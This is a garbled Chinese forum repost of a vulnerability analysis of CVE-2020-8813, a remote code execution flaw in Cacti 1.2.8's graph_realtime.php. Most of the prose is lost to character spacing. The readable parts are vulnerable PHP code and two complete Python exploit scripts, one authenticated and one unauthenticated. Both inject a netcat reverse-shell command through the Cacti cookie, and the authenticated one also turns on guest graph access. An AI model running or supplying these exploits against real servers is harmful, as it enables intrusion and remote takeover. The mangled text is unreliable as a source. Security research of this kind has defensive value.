[15116] 2020-03-11_CVE-2020-8813:Cactiv1.2.8中经过身份验证的RCE漏洞分析

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-18
2020-03-11_CVE-2020-8813:Cactiv1.2.8中经过身份验证的RCE漏洞分析 C V E - 2 0 2 0 - 8 8 1 3 C a c t i   v 1 . 2 . 8   R C E A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 3 - 1 1 C a c t i C a c t i P H P , M y S Q L , S N M P R R D T o o l C a c t i   s n m p g e t 使 使   R R D t o o l R R D t o o l h o s t L D A P   C a c t i     R R D T o o l   使 使 便 使 便 使   S n m p   C a c t i     S c r i p t s     T e m p l a t e s   c a c t i p h p s n m p r r d t o o l r r d t o o l s n m p r r d t o o l c a c t i S n m p r r d t o o l C a c t i C a c t i C o o k i e 便 s h e l l _ e x e c c o o k i e 使 访 G u e s t 访 使 G u e s t 访 g r a p h _ r e a l t i m e . p h p u s e r _ a d m i n . p h p r e a l t i m e _ g r a p h 访 g r a p h _ r e a l t i m e . p h p 使 R C E R E C S c a n n e r C a c t i R C E
g r a p h _ r e a l t i m e . p h p 西 g r a p h _ r e a l t i m e . p h p 4 5 g e t _ r e q u e s t _ v a r h t m l _ u t i l i t y . p h p s e t _ r e q u e s t _ v a r h t m l _ u t i l i t y . p h p g r a p h _ r e a l t i m e . p h p g r a p h _ r e a l t i m e . p h p 4 使 s p r i n t f ( ) g r a p h l o c a l _ g r a p h _ i d g e t _ f i l t e r _ r e q u e s t _ v a r g r a p h _ r e a l t i m e . p h p h t m l _ u t i l i t y . p h p $ g r a p h _ d a t a _ a r r a y [ d s _ s t e p ] s p r i n t f ( ) % d g r a p h _ r e a l t i m e . p h p s h e l l _ e x e c s e s s i o n _ i d ( ) 访 访 R e a l t i m e   G r a p h s 访 访 / *   c a l l   p o l l e r   * /         $ g r a p h _ r r d   =   r e a d _ c o n f i g _ o p t i o n ( ' r e a l t i m e _ c a c h e _ p a t h ' )   .   ' / u s e r _ '   .   s e s s i o n _ i d ( )   .   ' _ l g i _ '   .   g e t _ r e q u e s t _ v a r ( ' l o c a l _ g r a p h _ i d ' )   .   ' . p n g ' ;         $ c o m m a n d       =   r e a d _ c o n f i g _ o p t i o n ( ' p a t h _ p h p _ b i n a r y ' ) ;         $ a r g s             =   s p r i n t f ( ' p o l l e r _ r e a l t i m e . p h p   - - g r a p h = % s   - - i n t e r v a l = % d   - - p o l l e r _ i d = '   .   s e s s i o n _ i d ( ) ,   g e t _ r e q u e s t _ v a r ( ' l o c a l _ g r a p h _ i d ' ) ,   $ g r a p h _ d a t a _ a r r a y [ ' d s _ s t e p ' ] ) ;         s h e l l _ e x e c ( " $ c o m m a n d   $ a r g s " ) ;         / *   c o n s t r u c t   t h e   i m a g e   n a m e     * /         $ g r a p h _ d a t a _ a r r a y [ ' e x p o r t _ r e a l t i m e ' ]   =   $ g r a p h _ r r d ;         $ g r a p h _ d a t a _ a r r a y [ ' o u t p u t _ f l a g ' ]           =   R R D T O O L _ O U T P U T _ G R A P H _ D A T A ;         $ n u l l _ p a r a m   =   a r r a y ( ) ; f u n c t i o n   g e t _ r e q u e s t _ v a r ( $ n a m e ,   $ d e f a u l t   =   ' ' )   {                 g l o b a l   $ _ C A C T I _ R E Q U E S T ;                 $ l o g _ v a l i d a t i o n   =   r e a d _ c o n f i g _ o p t i o n ( ' l o g _ v a l i d a t i o n ' ) ;                 i f   ( i s s e t ( $ _ C A C T I _ R E Q U E S T [ $ n a m e ] ) )   {                         r e t u r n   $ _ C A C T I _ R E Q U E S T [ $ n a m e ] ;                 }   e l s e i f   ( i s s e t _ r e q u e s t _ v a r ( $ n a m e ) )   {                         i f   ( $ l o g _ v a l i d a t i o n   = =   ' o n ' )   {                                 h t m l _ l o g _ i n p u t _ e r r o r ( $ n a m e ) ;                         }                         s e t _ r e q u e s t _ v a r ( $ n a m e ,   $ _ R E Q U E S T [ $ n a m e ] ) ;                         r e t u r n   $ _ R E Q U E S T [ $ n a m e ] ;                 }   e l s e   {                         r e t u r n   $ d e f a u l t ;                 }         } f u n c t i o n   s e t _ r e q u e s t _ v a r ( $ v a r i a b l e ,   $ v a l u e )   {                 g l o b a l   $ _ C A C T I _ R E Q U E S T ;                 $ _ C A C T I _ R E Q U E S T [ $ v a r i a b l e ]   =   $ v a l u e ;                 $ _ R E Q U E S T [ $ v a r i a b l e ]               =   $ v a l u e ;                 $ _ P O S T [ $ v a r i a b l e ]                     =   $ v a l u e ;                 $ _ G E T [ $ v a r i a b l e ]                       =   $ v a l u e ;         } l o c a l _ g r a p h _ i d         T h e   v a l u e   o f   $ g r a p h _ d a t a _ a r r a y [ d s _ s t e p ] f u n c t i o n   g e t _ f i l t e r _ r e q u e s t _ v a r ( $ n a m e ,   $ f i l t e r   =   F I L T E R _ V A L I D A T E _ I N T ,   $ o p t i o n s   =   a r r a y ( ) )   {                 i f   ( i s s e t _ r e q u e s t _ v a r ( $ n a m e ) )   {                         i f   ( i s e m p t y _ r e q u e s t _ v a r ( $ n a m e ) )   {                                 s e t _ r e q u e s t _ v a r ( $ n a m e ,   g e t _ n f i l t e r _ r e q u e s t _ v a r ( $ n a m e ) ) ;                                 r e t u r n   g e t _ r e q u e s t _ v a r ( $ n a m e ) ;                         }   e l s e i f   ( g e t _ n f i l t e r _ r e q u e s t _ v a r ( $ n a m e )   = =   ' u n d e f i n e d ' )   {                                 i f   ( i s s e t ( $ o p t i o n s [ ' d e f a u l t ' ] ) )   {                                         s e t _ r e q u e s t _ v a r ( $ n a m e ,   $ o p t i o n s [ ' d e f a u l t ' ] ) ;                                         r e t u r n   $ o p t i o n s [ ' d e f a u l t ' ] ;                                 }   e l s e   {                                         s e t _ r e q u e s t _ v a r ( $ n a m e ,   ' ' ) ;                                         r e t u r n   ' ' ;                                 }                         }   e l s e   {                                 i f   ( g e t _ n f i l t e r _ r e q u e s t _ v a r ( $ n a m e )   = =   ' 0 ' )   {                                         $ v a l u e   =   ' 0 ' ;                                 }   e l s e i f   ( g e t _ n f i l t e r _ r e q u e s t _ v a r ( $ n a m e )   = =   ' u n d e f i n e d ' )   {                                         i f   ( i s s e t ( $ o p t i o n s [ ' d e f a u l t ' ] ) )   {                                                 $ v a l u e   =   $ o p t i o n s [ ' d e f a u l t ' ] ;                                         }   e l s e   {                                                 $ v a l u e   =   ' ' ;                                         }                                 }   e l s e i f   ( i s e m p t y _ r e q u e s t _ v a r ( $ n a m e ) )   {                                         $ v a l u e   =   ' ' ;                                 }   e l s e i f   ( $ f i l t e r   = =   F I L T E R _ V A L I D A T E _ I S _ R E G E X )   {                                         i f   ( i s _ b a s e 6 4 _ e n c o d e d ( $ _ R E Q U E S T [ $ n a m e ] ) )   {                                                 $ _ R E Q U E S T [ $ n a m e ]   =   u t f 8 _ d e c o d e ( b a s e 6 4 _ d e c o d e ( $ _ R E Q U E S T [ $ n a m e ] ) ) ;                                         }                                         $ v a l i d   =   v a l i d a t e _ i s _ r e g e x ( $ _ R E Q U E S T [ $ n a m e ] ) ;                                         i f   ( $ v a l i d   = = =   t r u e )   {                                                 $ v a l u e   =   $ _ R E Q U E S T [ $ n a m e ] ;                                         }   e l s e   {                                                 $ v a l u e   =   f a l s e ;                                                 $ c u s t o m _ e r r o r   =   $ v a l i d ;                                         }                                 }   e l s e i f   ( $ f i l t e r   = =   F I L T E R _ V A L I D A T E _ I S _ N U M E R I C _ A R R A Y )   {                                         $ v a l i d   =   t r u e ;                                         i f   ( i s _ a r r a y ( $ _ R E Q U E S T [ $ n a m e ] ) )   {                                                 f o r e a c h ( $ _ R E Q U E S T [ $ n a m e ]   A S   $ n u m b e r )   {                                                         i f   ( ! i s _ n u m e r i c ( $ n u m b e r ) )   {                                                                 $ v a l i d   =   f a l s e ;                                                                 b r e a k ;                                                         }                                                 }                                         }   e l s e   {                                                 $ v a l i d   =   f a l s e ;                                         }                                         i f   ( $ v a l i d   = =   t r u e )   {                                                 $ v a l u e   =   $ _ R E Q U E S T [ $ n a m e ] ;                                         }   e l s e   {                                                 $ v a l u e   =   f a l s e ;                                         }                                 }   e l s e i f   ( $ f i l t e r   = =   F I L T E R _ V A L I D A T E _ I S _ N U M E R I C _ L I S T )   {                                         $ v a l i d   =   t r u e ;                                         $ v a l u e s   =   p r e g _ s p l i t ( ' / , / ' ,   $ _ R E Q U E S T [ $ n a m e ] ,   N U L L ,   P R E G _ S P L I T _ N O _ E M P T Y ) ;                                         f o r e a c h ( $ v a l u e s   A S   $ n u m b e r )   {                                                 i f   ( ! i s _ n u m e r i c ( $ n u m b e r ) )   {                                                         $ v a l i d   =   f a l s e ;                                                         b r e a k ;                                                 }                                         }                                         i f   ( $ v a l i d   = =   t r u e )   {                                                 $ v a l u e   =   $ _ R E Q U E S T [ $ n a m e ] ;                                         }   e l s e   {                                                 $ v a l u e   =   f a l s e ;                                         }                                 }   e l s e i f   ( ! c a c t i _ s i z e o f ( $ o p t i o n s ) )   {                                         $ v a l u e   =   f i l t e r _ v a r ( $ _ R E Q U E S T [ $ n a m e ] ,   $ f i l t e r ) ;                                 }   e l s e   {                                         $ v a l u e   =   f i l t e r _ v a r ( $ _ R E Q U E S T [ $ n a m e ] ,   $ f i l t e r ,   $ o p t i o n s ) ;                                 }                         }                         i f   ( $ v a l u e   = = =   f a l s e )   {                                 i f   ( $ f i l t e r   = =   F I L T E R _ V A L I D A T E _ I S _ R E G E X )   {                                         $ _ S E S S I O N [ ' c u s t o m _ e r r o r ' ]   =   _ _ ( ' T h e   s e a r c h   t e r m   " % s "   i s   n o t   v a l i d .   E r r o r   i s   % s ' ,   h t m l _ e s c a p e ( g e t _ n f i l t e r _ r e q u e s t _ v a r ( $ n a m e ) ) ,   h t m l _ e s c a p e ( $ c u s t o m _ e r r o r ) ) ;                                         s e t _ r e q u e s t _ v a r ( $ n a m e ,   ' ' ) ;                                         r a i s e _ m e s s a g e ( ' c u s t o m _ e r r o r ' ) ;                                 }   e l s e   {                                         d i e _ h t m l _ i n p u t _ e r r o r ( $ n a m e ,   g e t _ n f i l t e r _ r e q u e s t _ v a r ( $ n a m e ) ) ;                                 }                         }   e l s e   {                                 s e t _ r e q u e s t _ v a r ( $ n a m e ,   $ v a l u e ) ;                                 r e t u r n   $ v a l u e ;                         }                 }   e l s e   {                         i f   ( i s s e t ( $ o p t i o n s [ ' d e f a u l t ' ] ) )   {                                 s e t _ r e q u e s t _ v a r ( $ n a m e ,   $ o p t i o n s [ ' d e f a u l t ' ] ) ;                                 r e t u r n   $ o p t i o n s [ ' d e f a u l t ' ] ;                         }   e l s e   {                                 r e t u r n ;                         }                 }         } / *   c a l l   p o l l e r   * /         $ g r a p h _ r r d   =   r e a d _ c o n f i g _ o p t i o n ( ' r e a l t i m e _ c a c h e _ p a t h ' )   .   ' / u s e r _ '   .   s e s s i o n _ i d ( )   .   ' _ l g i _ '   .   g e t _ r e q u e s t _ v a r ( ' l o c a l _ g r a p h _ i d ' )   .   ' . p n g ' ;         $ c o m m a n d       =   r e a d _ c o n f i g _ o p t i o n ( ' p a t h _ p h p _ b i n a r y ' ) ;         $ a r g s             =   s p r i n t f ( ' p o l l e r _ r e a l t i m e . p h p   - - g r a p h = % s   - - i n t e r v a l = % d   - - p o l l e r _ i d = '   .   s e s s i o n _ i d ( ) ,   g e t _ r e q u e s t _ v a r ( ' l o c a l _ g r a p h _ i d ' ) ,   $ g r a p h _ d a t a _ a r r a y [ ' d s _ s t e p ' ] ) ;         s h e l l _ e x e c ( " $ c o m m a n d   $ a r g s " ) ;         / *   c o n s t r u c t   t h e   i m a g e   n a m e     * /         $ g r a p h _ d a t a _ a r r a y [ ' e x p o r t _ r e a l t i m e ' ]   =   $ g r a p h _ r r d ;         $ g r a p h _ d a t a _ a r r a y [ ' o u t p u t _ f l a g ' ]           =   R R D T O O L _ O U T P U T _ G R A P H _ D A T A ;         $ n u l l _ p a r a m   =   a r r a y ( ) ;
G u e s t   R e a l t i m e   G r a p h s 访 访 访
g r a p h _ r e a l t i m e . p h p e c h o s h e l l _ e x e c
P a y l o a d 使 P a y l o a d H i   P a y l o a d C o o k i e 使 P a y l o a d 使 使 $ { I F S } B a s h 使 ; 使 n e t c a t S h e l l P a y l o a d P a y l o a d ; p a y l o a d ; n c $ { I F S } - e $ { I F S } / b i n / b a s h $ { I F S } i p $ { I F S } p o r t
P a y l o a d S h e l l P y t h o n S h e l l # ! / u s r / b i n / p y t h o n 3         #   E x p l o i t   T i t l e :   C a c t i   v 1 . 2 . 8   R e m o t e   C o d e   E x e c u t i o n         #   D a t e :   0 3 / 0 2 / 2 0 2 0         #   E x p l o i t   A u t h o r :   A s k a r   ( @ m o h a m m a d a s k a r 2 )         #   C V E :   C V E - 2 0 2 0 - 8 8 1 3         #   V e n d o r   H o m e p a g e :   h t t p s : / / c a c t i . n e t /         #   V e r s i o n :   v 1 . 2 . 8         #   T e s t e d   o n :   C e n t O S   7 . 3   /   P H P   7 . 1 . 3 3         i m p o r t   r e q u e s t s         i m p o r t   s y s         i m p o r t   w a r n i n g s         f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p         f r o m   u r l l i b . p a r s e   i m p o r t   q u o t e         w a r n i n g s . f i l t e r w a r n i n g s ( " i g n o r e " ,   c a t e g o r y = U s e r W a r n i n g ,   m o d u l e = ' b s 4 ' )         i f   l e n ( s y s . a r g v )   ! =   6 :                 p r i n t ( " [ ~ ]   U s a g e   :   . / C a c t i - e x p l o i t . p y   u r l   u s e r n a m e   p a s s w o r d   i p   p o r t " )                 e x i t ( )         u r l   =   s y s . a r g v [ 1 ]         u s e r n a m e   =   s y s . a r g v [ 2 ]         p a s s w o r d   =   s y s . a r g v [ 3 ]         i p   =   s y s . a r g v [ 4 ]         p o r t   =   s y s . a r g v [ 5 ]         d e f   l o g i n ( t o k e n ) :                 l o g i n _ i n f o   =   {                 " l o g i n _ u s e r n a m e " :   u s e r n a m e ,                 " l o g i n _ p a s s w o r d " :   p a s s w o r d ,                 " a c t i o n " :   " l o g i n " ,                 " _ _ c s r f _ m a g i c " :   t o k e n                 }                 l o g i n _ r e q u e s t   =   r e q u e s t . p o s t ( u r l + " / i n d e x . p h p " ,   l o g i n _ i n f o )                 l o g i n _ t e x t   =   l o g i n _ r e q u e s t . t e x t                 i f   " I n v a l i d   U s e r   N a m e / P a s s w o r d   P l e a s e   R e t y p e "   i n   l o g i n _ t e x t :                         r e t u r n   F a l s e                 e l s e :                         r e t u r n   T r u e         d e f   e n a b l e _ g u e s t ( t o k e n ) :                 r e q u e s t _ i n f o   =   {                 " i d " :   " 3 " ,                 " s e c t i o n 2 5 " :   " o n " ,                 " s e c t i o n 7 " :   " o n " ,                 " t a b " :   " r e a l m s " ,                 " s a v e _ c o m p o n e n t _ r e a l m _ p e r m s " :   1 ,                 " a c t i o n " :   " s a v e " ,                 " _ _ c s r f _ m a g i c " :   t o k e n                 }                 e n a b l e _ r e q u e s t   =   r e q u e s t . p o s t ( u r l + " / u s e r _ a d m i n . p h p ? h e a d e r = f a l s e " ,   r e q u e s t _ i n f o )                 i f   e n a b l e _ r e q u e s t :                         r e t u r n   T r u e                 e l s e :                         r e t u r n   F a l s e         d e f   s e n d _ e x p l o i t ( ) :                 p a y l o a d   =   " ; n c $ { I F S } - e $ { I F S } / b i n / b a s h $ { I F S } % s $ { I F S } % s "   %   ( i p ,   p o r t )                 c o o k i e s   =   { ' C a c t i ' :   q u o t e ( p a y l o a d ) }                 r e q u e s t s . g e t ( u r l + " / g r a p h _ r e a l t i m e . p h p ? a c t i o n = i n i t " ,   c o o k i e s = c o o k i e s )         r e q u e s t   =   r e q u e s t s . s e s s i o n ( )         p r i n t ( " [ + ] R e t r i e v i n g   l o g i n   C S R F   t o k e n " )         p a g e   =   r e q u e s t . g e t ( u r l + " / i n d e x . p h p " )         h t m l _ c o n t e n t   =   p a g e . t e x t         s o u p   =   B e a u t i f u l S o u p ( h t m l _ c o n t e n t ,   " h t m l 5 l i b " )         t o k e n   =   s o u p . f i n d A l l ( ' i n p u t ' ) [ 0 ] . g e t ( " v a l u e " )         i f   t o k e n :                 p r i n t ( " [ + ] T o k e n   F o u n d   :   % s "   %   t o k e n )                 p r i n t ( " [ + ] S e n d i n g   c r e d s   . . " )                 l o g i n _ s t a t u s   =   l o g i n ( t o k e n )                 i f   l o g i n _ s t a t u s :                         p r i n t ( " [ + ] S u c c e s s f u l l y   L o g g e d I n " )                         p r i n t ( " [ + ] R e t r i e v i n g   C S R F   t o k e n   . . " )                         p a g e   =   r e q u e s t . g e t ( u r l + " / u s e r _ a d m i n . p h p ? a c t i o n = u s e r _ e d i t & i d = 3 & t a b = r e a l m s " )                         h t m l _ c o n t e n t   =   p a g e . t e x t                         s o u p   =   B e a u t i f u l S o u p ( h t m l _ c o n t e n t ,   " h t m l 5 l i b " )                         t o k e n   =   s o u p . f i n d A l l ( ' i n p u t ' ) [ 1 ] . g e t ( " v a l u e " )                         i f   t o k e n :                                 p r i n t ( " [ + ] M a k i n g   s o m e   n o i s e   . . " )                                 g u e s t _ r e a l t i m e   =   e n a b l e _ g u e s t ( t o k e n )                                 i f   g u e s t _ r e a l t i m e :                                         p r i n t ( " [ + ] S e n d i n g   m a l i c o u s   r e q u e s t ,   c h e c k   y o u r   n c   ; ) " )                                         s e n d _ e x p l o i t ( )                                 e l s e :                                         p r i n t ( " [ - ] E r r o r   w h i l e   a c t i v a t i n g   t h e   m a l i c o u s   a c c o u n t " )                         e l s e :                                 p r i n t ( " [ - ]   U n a b l e   t o   r e t r i e v e   C S R F   t o k e n   f r o m   a d m i n   p a g e ! " )                                 e x i t ( )                 e l s e :                         p r i n t ( " [ - ] C a n n o t   L o g i n ! " )         e l s e :                 p r i n t ( " [ - ]   U n a b l e   t o   r e t r i e v e   C S R F   t o k e n ! " )         e x i t ( )
C a c t i G u e s t   R e a l t i m e   G r a p h s 便 P o C C a c t i C a c t i   v 1 . 2 . 1 0 *   s h e l l s F B A l p h a _ h 4 c k F r e e B u f . C O M # ! / u s r / b i n / p y t h o n 3         #   E x p l o i t   T i t l e :   C a c t i   v 1 . 2 . 8   U n a u t h e n t i c a t e d   R e m o t e   C o d e   E x e c u t i o n         #   D a t e :   0 3 / 0 2 / 2 0 2 0         #   E x p l o i t   A u t h o r :   A s k a r   ( @ m o h a m m a d a s k a r 2 )         #   C V E :   C V E - 2 0 2 0 - 8 8 1 3         #   V e n d o r   H o m e p a g e :   h t t p s : / / c a c t i . n e t /         #   V e r s i o n :   v 1 . 2 . 8         #   T e s t e d   o n :   C e n t O S   7 . 3   /   P H P   7 . 1 . 3 3         i m p o r t   r e q u e s t s         i m p o r t   s y s         i m p o r t   w a r n i n g s         f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p         f r o m   u r l l i b . p a r s e   i m p o r t   q u o t e         w a r n i n g s . f i l t e r w a r n i n g s ( " i g n o r e " ,   c a t e g o r y = U s e r W a r n i n g ,   m o d u l e = ' b s 4 ' )         i f   l e n ( s y s . a r g v )   ! =   4 :                 p r i n t ( " [ ~ ]   U s a g e   :   . / C a c t i - e x p l o i t . p y   u r l   i p   p o r t " )                 e x i t ( )         u r l   =   s y s . a r g v [ 1 ]         i p   =   s y s . a r g v [ 2 ]         p o r t   =   s y s . a r g v [ 3 ]         d e f   s e n d _ e x p l o i t ( u r l ) :                 p a y l o a d   =   " ; n c $ { I F S } - e $ { I F S } / b i n / b a s h $ { I F S } % s $ { I F S } % s "   %   ( i p ,   p o r t )                 c o o k i e s   =   { ' C a c t i ' :   q u o t e ( p a y l o a d ) }                 p a t h   =   u r l + " / g r a p h _ r e a l t i m e . p h p ? a c t i o n = i n i t "                 r e q   =   r e q u e s t s . g e t ( p a t h )                 i f   r e q . s t a t u s _ c o d e   = =   2 0 0   a n d   " p o l l e r _ r e a l t i m e . p h p "   i n   r e q . t e x t :                         p r i n t ( " [ + ]   F i l e   F o u n d   a n d   G u e s t   i s   e n a b l e d ! " )                         p r i n t ( " [ + ]   S e n d i n g   m a l i c o u s   r e q u e s t ,   c h e c k   y o u r   n c   ; ) " )                         r e q u e s t s . g e t ( p a t h ,   c o o k i e s = c o o k i e s )                 e l s e :                         p r i n t ( " [ + ]   E r r o r   w h i l e   r e q u e s t i n g   t h e   f i l e ! " )         s e n d _ e x p l o i t ( u r l )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则